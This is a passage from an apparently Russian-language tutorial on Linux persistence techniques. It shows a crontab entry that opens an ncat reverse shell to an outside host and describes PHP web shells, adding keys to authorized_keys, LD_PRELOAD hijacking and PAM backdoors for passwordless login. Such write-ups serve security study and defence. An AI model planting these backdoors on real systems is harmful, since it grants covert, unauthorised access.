\u043f\u043e\u0440\u0442 1234 \u043d\u0430\u0447\u043d\u0435\u0442 \u0441\u043b\u0443\u0448\u0430\u0442\u044c \u0432 \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0438 \u043d\u0430\u0448\u0438\u0445 \u043a\u043e\u043c\u0430\u043d\u0434.<\/p>\n<h4>Cron jobs \u0438 \u0434\u0440\u0443\u0433\u0438\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u044f \u043f\u043e \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u044e<\/h4>\n<p>Crontab &#8212; \u043f\u0435\u0440\u0432\u043e\u0435, \u0447\u0442\u043e \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u0432 \u0433\u043e\u043b\u043e\u0432\u0443, \u043a\u043e\u0433\u0434\u0430 \u043c\u044b \u0433\u043e\u0432\u043e\u0440\u0438\u043c \u043e \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0438 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 Unix. \u041a\u0430\u0436\u0435\u0442\u0441\u044f, \u0434\u0430\u0436\u0435 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u0438 \u0442\u0443\u0442 \u043b\u0438\u0448\u043d\u0438. Crontab &#8212; \u044d\u0442\u043e \u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0449\u0438\u043a \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u0432 Linux, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u044f \u0447\u0435\u0440\u0435\u0437 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0439 \u043f\u0435\u0440\u0438\u043e\u0434, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440&nbsp;<code>0 2 * * * \/bin\/sh backup.sh<\/code>, \u0438\u043b\u0438 \u043f\u0440\u0438 \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u0438 \u0441\u043e\u0431\u044b\u0442\u0438\u044f (\u043f\u0435\u0440\u0435\u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440):<\/p>\n<pre><code class=\"bash\">(crontab -l ; echo \"@reboot sleep 200 &amp;&amp; ncat 192.168.1.2 1234 -e \/bin\/bash\")|crontab 2&gt; \/dev\/null<\/code><\/pre>\n<p>\u041c\u043e\u0436\u043d\u043e \u043f\u043e\u043c\u0435\u0449\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438. \u0421\u043a\u0440\u0438\u043f\u0442\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u0438\u043c\u0435\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u0438\u0445 \u0438\u043c\u044f \u043d\u0435 \u0434\u043e\u043b\u0436\u043d\u043e \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0442\u043e\u0447\u043a\u0438.<\/p>\n<ul>\n<li>\n<p><code>\/etc\/cron.minutely<\/code>&nbsp;&#8212; \u043a\u0430\u0436\u0434\u0443\u044e \u043c\u0438\u043d\u0443\u0442\u0443;<\/p>\n<\/li>\n<li>\n<p><code>\/etc\/cron.hourly<\/code>&nbsp;&#8212; \u043a\u0430\u0436\u0434\u044b\u0439 \u0447\u0430\u0441;<\/p>\n<\/li>\n<li>\n<p><code>\/etc\/cron.daily<\/code>&nbsp;&#8212; \u043a\u0430\u0436\u0434\u044b\u0439 \u0434\u0435\u043d\u044c;<\/p>\n<\/li>\n<li>\n<p><code>\/etc\/cron.weekly<\/code>&nbsp;&#8212; \u043a\u0430\u0436\u0434\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e;<\/p>\n<\/li>\n<li>\n<p><code>\/etc\/cron.monthly<\/code>&nbsp;&#8212; \u043a\u0430\u0436\u0434\u044b\u0439 \u043c\u0435\u0441\u044f\u0446.<\/p>\n<\/li>\n<\/ul>\n<p>\u0414\u0440\u0443\u0433\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u043e\u0439 \u0434\u043b\u044f \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0437\u0430\u043f\u043b\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u0434\u0430\u043d\u0438\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f&nbsp;<code>at<\/code>. \u041d\u043e \u0432 \u043e\u0442\u043b\u0438\u0447\u0438\u0435 \u043e\u0442&nbsp;<code>crontab<\/code>, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0435 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0435 \u0437\u0430\u0434\u0430\u0447\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u044e\u0442\u0441\u044f \u0442\u043e\u043b\u044c\u043a\u043e \u043e\u0434\u0438\u043d \u0440\u0430\u0437. \u041d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\u0430 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0433\u043e \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0435 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435, \u043a\u0440\u043e\u043c\u0435 \u043a\u0430\u043a \u0443\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0440\u0435\u043a\u0443\u0440\u0441\u0438\u044e, \u043a\u043e\u0433\u0434\u0430 \u043e\u0434\u043d\u0430 \u0437\u0430\u0434\u0430\u0447\u0430&nbsp;<code>at<\/code>&nbsp;\u043f\u0440\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e.<\/p>\n<p>\u041f\u043e\u043b\u043d\u043e\u0446\u0435\u043d\u043d\u043e\u0439 \u0436\u0435 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043e\u0439 crontab \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0430\u0439\u043c\u0435\u0440\u044b systemd. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u0445 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0432 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f. \u0418 \u0434\u0430\u0436\u0435 \u0431\u043e\u043b\u044c\u0448\u0435: \u0442\u0430\u0439\u043c\u0435\u0440\u044b \u0443\u043c\u0435\u044e \u0435\u0449\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u043d\u043e\u0435 \u0432\u0440\u0435\u043c\u044f \u043f\u043e\u0441\u043b\u0435 \u043d\u0430\u0441\u0442\u0443\u043f\u043b\u0435\u043d\u0438\u044f \u0441\u043e\u0431\u044b\u0442\u0438\u044f. \u041f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043e\u0431\u044b\u0447\u043d\u043e \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0442\u0430\u0439\u043c\u0435\u0440\u043e\u0432, \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439&nbsp;<code>systemctl status *timer<\/code>. \u0422\u0430\u0439\u043c\u0435\u0440\u044b, \u043f\u043e \u0441\u0443\u0442\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0442\u0435\u043c\u0438 \u0436\u0435 unit-\u0444\u0430\u0439\u043b\u0430\u043c\u0438, \u0442\u043e\u043b\u044c\u043a\u043e \u0438\u043c\u044f \u043d\u0435 .service, \u0430 .timer, \u0438 \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u043e\u043c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043d\u0430\u0434\u043e \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u043f\u043e \u0440\u0430\u0441\u043f\u0438\u0441\u0430\u043d\u0438\u044e. \u041f\u0440\u0438\u043c\u0435\u0440 \u0442\u0430\u0439\u043c\u0435\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 myMonitor.service \u043a\u0430\u0436\u0434\u0443\u044e \u043c\u0438\u043d\u0443\u0442\u0443:<\/p>\n<pre><code>[Unit] Description=Logs some system statistics to the systemd journal Requires=myMonitor.service  [Timer] Unit=myMonitor.service OnCalendar=--* ::00 [Install] WantedBy=timers.target<\/code><\/pre>\n<h4>PHP shell for web-server<\/h4>\n<p>\u0421\u043f\u043e\u0441\u043e\u0431 \u0445\u043e\u0440\u043e\u0448, \u043d\u043e \u043d\u0435 \u043e\u0447\u0435\u043d\u044c \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u043d. \u0414\u043e\u043b\u0436\u043d\u044b \u0441\u043e\u0439\u0442\u0438\u0441\u044c \u0437\u0432\u0435\u0437\u0434\u044b: \u0441\u0435\u0440\u0432\u0435\u0440, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0432\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e\u043b\u0436\u0435\u043d \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0440\u043e\u043b\u044c web-\u0441\u0435\u0440\u0432\u0438\u0441\u0430. \u041d\u0443 \u0438\u043b\u0438 \u0432\u0430\u043c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0442\u044c \u043a\u0430\u043a\u043e\u0439-\u043d\u0438\u0431\u0443\u0434\u044c apache \u0441\u0430\u043c\u0438\u043c. \u041a \u0442\u043e\u043c\u0443 \u0436\u0435 \u0447\u0435\u0440\u0435\u0437 shell \u0432\u044b \u0432\u0441\u0435\u0433\u0434\u0430 \u0431\u0443\u0434\u0435\u0442\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0441\u043b\u0443\u0436\u0431\u044b, \u043e\u0442 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0435\u0440\u0432\u0438\u0441 \u0437\u0430\u043f\u0443\u0449\u0435\u043d. \u041e\u043f\u044f\u0442\u044c \u0436\u0435, \u0435\u0441\u043b\u0438 \u0432\u044b \u043d\u0435 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u0435 \u0441\u043b\u0443\u0436\u0431\u0443 \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 root. \u0418\u043b\u0438 \u043a\u0430\u0436\u0434\u044b\u0439 \u0440\u0430\u0437 \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0438\u0441\u043a\u0430\u0442\u044c \u0441\u043f\u043e\u0441\u043e\u0431 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439.&nbsp; \u041d\u043e \u0437\u0430\u0442\u043e \u0441\u043f\u043e\u0441\u043e\u0431 \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439, \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e \u0435\u0441\u043b\u0438 \u0432\u0430\u0448 web-shell \u0431\u0443\u0434\u0435\u0442 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0445\u043e\u0442\u044f \u0431\u044b base64 encoded, \u0447\u0442\u043e\u0431\u044b \u043d\u0435 \u0441\u0432\u0435\u0442\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u043b\u043e\u0433\u0430\u0445 nginx. \u0428\u0443\u0442\u043a\u0430, \u0441\u043f\u043e\u0441\u043e\u0431 \u043d\u0438 \u0440\u0430\u0437\u0443 \u043d\u0435 \u043d\u0435\u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439. \u0412\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435&nbsp;<code>cat id_rsa.pub &gt; ~\/.ssh\/authorized_keys<\/code>&nbsp;\u043e\u0442 \u0438\u043c\u0435\u043d\u0438&nbsp;<code>www-data<\/code>, \u0442\u043e, \u043d\u0430 \u0447\u0435\u043c \u0432\u0430\u0441 \u0442\u043e\u0447\u043d\u043e \u043f\u043e\u0439\u043c\u0430\u044e\u0442. (\u0415\u0441\u043b\u0438 \u043a\u0442\u043e-\u0442\u043e \u0445\u043e\u0442\u044c \u0438\u043d\u043e\u0433\u0434\u0430 \u0437\u0430\u0433\u043b\u044f\u0434\u044b\u0432\u0430\u0435\u0442 \u0432 \u043b\u043e\u0433\u0438).<\/p>\n<h4>Dynamic Link Hijacking<\/h4>\n<p>\u041a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u044e\u0442\u0441\u044f \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b? \u041f\u0438\u0448\u0435\u0442\u0441\u044f \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f. \u041a\u043e\u0434 \u0445\u043e\u0442\u044f \u0431\u044b \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u043d\u0443\u0442\u043e\u0439 \u0438 \u0441\u043b\u043e\u0436\u043d\u043e\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u044b &#8212; \u044d\u0442\u043e \u043d\u0435 \u043e\u0434\u0438\u043d \u0444\u0430\u0439\u043b, \u0430 \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u043a \u043e\u0441\u043d\u043e\u0432\u043d\u043e\u043c\u0443. \u0411\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0431\u044b\u0432\u0430\u044e\u0442 \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u0438 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438. \u0421\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u043d\u0430\u043c \u043d\u0435\u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b &#8212; \u043d\u0430 \u044d\u0442\u0430\u043f\u0435 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u0438 \u0438\u0445 \u043a\u043e\u0434 \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u043f\u043e\u043c\u0435\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b, \u0438 \u043c\u044b \u043c\u0430\u043b\u043e \u043c\u043e\u0436\u0435\u043c \u043d\u0430 \u043d\u0435\u0433\u043e \u043f\u043e\u0432\u043b\u0438\u044f\u0442\u044c. \u0422\u043e \u043b\u0438 \u0434\u0435\u043b\u043e \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0438\u0435! \u042d\u0442\u043e \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043b\u0435\u0436\u0430\u0442 \u0433\u0434\u0435-\u0442\u043e \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u041f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435 \u0443\u0442\u0438\u043b\u0438\u0442\u0430 \u0441 \u0432\u043d\u0435\u0448\u043d\u0438\u043c\u0438 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u044f\u043c\u0438 \u0438\u0449\u0435\u0442 \u043d\u0443\u0436\u043d\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0432 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435. \u0412\u043e\u0442 \u0442\u0443\u0442 \u043c\u044b \u0438 \u043c\u043e\u0436\u0435\u043c \u0432\u043c\u0435\u0448\u0430\u0442\u044c\u0441\u044f.<\/p>\n<p>\u0414\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043d\u0430\u043c \u043d\u0430\u0434\u043e \u043d\u0430\u0439\u0442\u0438 \u0442\u0430\u043a\u0443\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u0443, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443. \u041f\u043e\u043d\u044f\u0442\u044c, \u043a\u0430\u043a\u0430\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f. \u0412 \u044d\u0442\u043e\u043c \u043d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u0443\u0442\u0438\u043b\u0438\u0442\u0430&nbsp;<code>ltrace<\/code>, \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u0432\u0435\u0441\u0442\u0438 \u0432\u044b\u0437\u043e\u0432\u044b \u0432\u0441\u0435\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0444\u0443\u043d\u043a\u0446\u0438\u0439.&nbsp; \u0417\u0430\u0442\u0435\u043c \u043c\u044b \u0441\u043e\u0437\u0434\u0430\u0435\u043c \u0441\u0432\u043e\u044e \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443 \u0441 \u0442\u0430\u043a\u0438\u043c \u0436\u0435 \u0438\u043c\u0435\u043d\u0435\u043c \u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u043c \u0432 \u043d\u0435\u0439 \u0442\u0430\u043a\u0443\u044e \u0436\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u044e. \u0412\u0430\u0436\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u0430 \u043d\u0430\u0448\u0435\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u043b\u0430 \u0441 \u0441\u0438\u0433\u043d\u0430\u0442\u0443\u0440\u043e\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u043e\u0439 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u043e\u0439 \u0444\u0443\u043d\u043a\u0446\u0438\u0438. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u043c \u0438 \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0435\u043c \u0432 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435.<\/p>\n<p>\u041a\u0430\u043a \u0436\u0435 \u043d\u0430\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0442\u0435\u043f\u0435\u0440\u044c \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0439 \u0444\u0430\u0439\u043b \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0430\u0448\u0443 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0443? \u041d\u0430\u043c \u043f\u043e\u043c\u043e\u0436\u0435\u0442 \u043e\u0441\u043e\u0431\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0434\u0438\u043d\u0430\u043c\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u043b\u0438\u043d\u043a\u043e\u0432\u0449\u0438\u043a\u0430, \u043e\u043d \u043f\u0435\u0440\u0432\u044b\u043c\u0438 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439&nbsp;<code>LD_PRELOAD<\/code>, \u0438 \u044d\u0442\u0438 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 \u0438\u043c\u0435\u044e\u0442 \u043f\u0440\u0438\u043e\u0440\u0438\u0442\u0435\u0442 \u043d\u0430\u0434 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u043c\u0438. \u0422\u043e \u0435\u0441\u0442\u044c \u043d\u0430\u043c \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u044b \u043e\u043a\u0440\u0443\u0436\u0435\u043d\u0438\u044f&nbsp;<code>LD_PRELOAD<\/code>. \u041e\u0434\u0438\u043d \u0438\u0437 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 &#8212; export \u0432&nbsp;<code>.bashrc<\/code>.&nbsp; \u0422\u043e\u0436\u0435 \u0441\u0430\u043c\u043e\u0435 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0432 \u0444\u0430\u0439\u043b\u0430\u0445&nbsp;<code>\/etc\/environment<\/code>&nbsp;\u0438\u043b\u0438&nbsp;<code>\/etc\/security\/pam_env.conf<\/code>.<\/p>\n<h4>PAM<\/h4>\n<p>Pluggable Authentication Modules &#8212; \u043c\u043e\u0434\u0443\u043b\u0438 \u0434\u043b\u044f \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438, \u043a\u0430\u043a \u043d\u0435\u0441\u043b\u043e\u0436\u043d\u043e \u0434\u043e\u0433\u0430\u0434\u0430\u0442\u044c\u0441\u044f \u043f\u043e \u043f\u0435\u0440\u0435\u0432\u043e\u0434\u0443. \u0414\u043e \u043f\u043e\u044f\u0432\u043b\u0435\u043d\u0438\u044f PAM \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0443 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u043b\u043e\u0441\u044c \u043f\u0440\u043e\u0439\u0442\u0438 \u0432\u0441\u0435 12 \u043a\u0440\u0443\u0433\u043e\u0432 \u0430\u0434\u0430, \u0447\u0442\u043e\u0431\u044b \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u043a\u0430\u043a\u0443\u044e-\u0442\u043e \u0432\u043d\u0435\u0448\u043d\u044e\u044e \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0421\u0435\u0439\u0447\u0430\u0441 \u043d\u0430\u0434\u043e \u0438\u0437\u043c\u0435\u043d\u0438\u0442\u044c \u043f\u0430\u0440\u0443 \u0441\u0442\u0440\u043e\u0447\u0435\u043a \u0432 \u043f\u0430\u0440\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u0415\u0441\u043b\u0438 \u0432 \u0444\u0430\u0439\u043b\u0435&nbsp;<code>\/etc\/pam.d<\/code>&nbsp;\u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0435\u043d\u043d\u044b\u0445 \u043c\u043e\u0434\u0443\u043b\u0435\u0439 \u0432\u044b\u0441\u0442\u0430\u0432\u0438\u0442\u044c control_flag \u0432 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435&nbsp;<code>optional<\/code>, \u0442\u043e \u043c\u044b \u0441\u043c\u043e\u0436\u0435\u0442 \u0432\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0432\u043e\u043e\u0431\u0449\u0435 \u0431\u0435\u0437 \u043f\u0430\u0440\u043e\u043b\u044f. \u041a\u0430\u043a \u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u044b. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043d\u0430\u0448 \u0431\u0435\u043a\u0434\u043e\u0440\u0447\u0438\u043a \u0431\u044b\u0441\u0442\u0440\u043e \u043d\u0430\u0439\u0434\u0443\u0442 \u0438 \u0437\u0430\u043a\u0440\u043e\u044e\u0442 \u0442\u043e\u0447\u043a\u0443 \u0432\u0445\u043e\u0434\u0430.<\/p>\n<p>\u0427\u0443\u0442\u044c \u043c\u0435\u043d\u0435\u0435 \u0437\u0430\u043c\u0435\u0442\u043d\u044b\u0439 \u0445\u043e\u0434 &#8212; \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0441\u0432\u043e\u0439 \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c. \u0424\u0430\u0439\u043b \u0441 \u043d\u0438\u043c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u0440\u0430\u0437\u043c\u0435\u0441\u0442\u0438\u0442\u044c \u0441 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 \u043f\u043e \u043f\u0443\u0442\u0438&nbsp;<code>\/lib\/x86_64-linux-gnu\/security\/<\/code>. \u0427\u0442\u043e \u0432\u044b \u0442\u0430\u043c \u0440\u0435\u0430\u043b\u0438\u0437\u0443\u0435\u0442\u0435, \u0434\u0435\u043b\u043e \u0432\u0430\u0448\u0435\u0439 \u0444\u0430\u043d\u0442\u0430\u0437\u0438\u0438: \u0432\u043e\u043b\u0448\u0435\u0431\u043d\u044b\u0439 \u043f\u0430\u0440\u043e\u043b\u044c, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 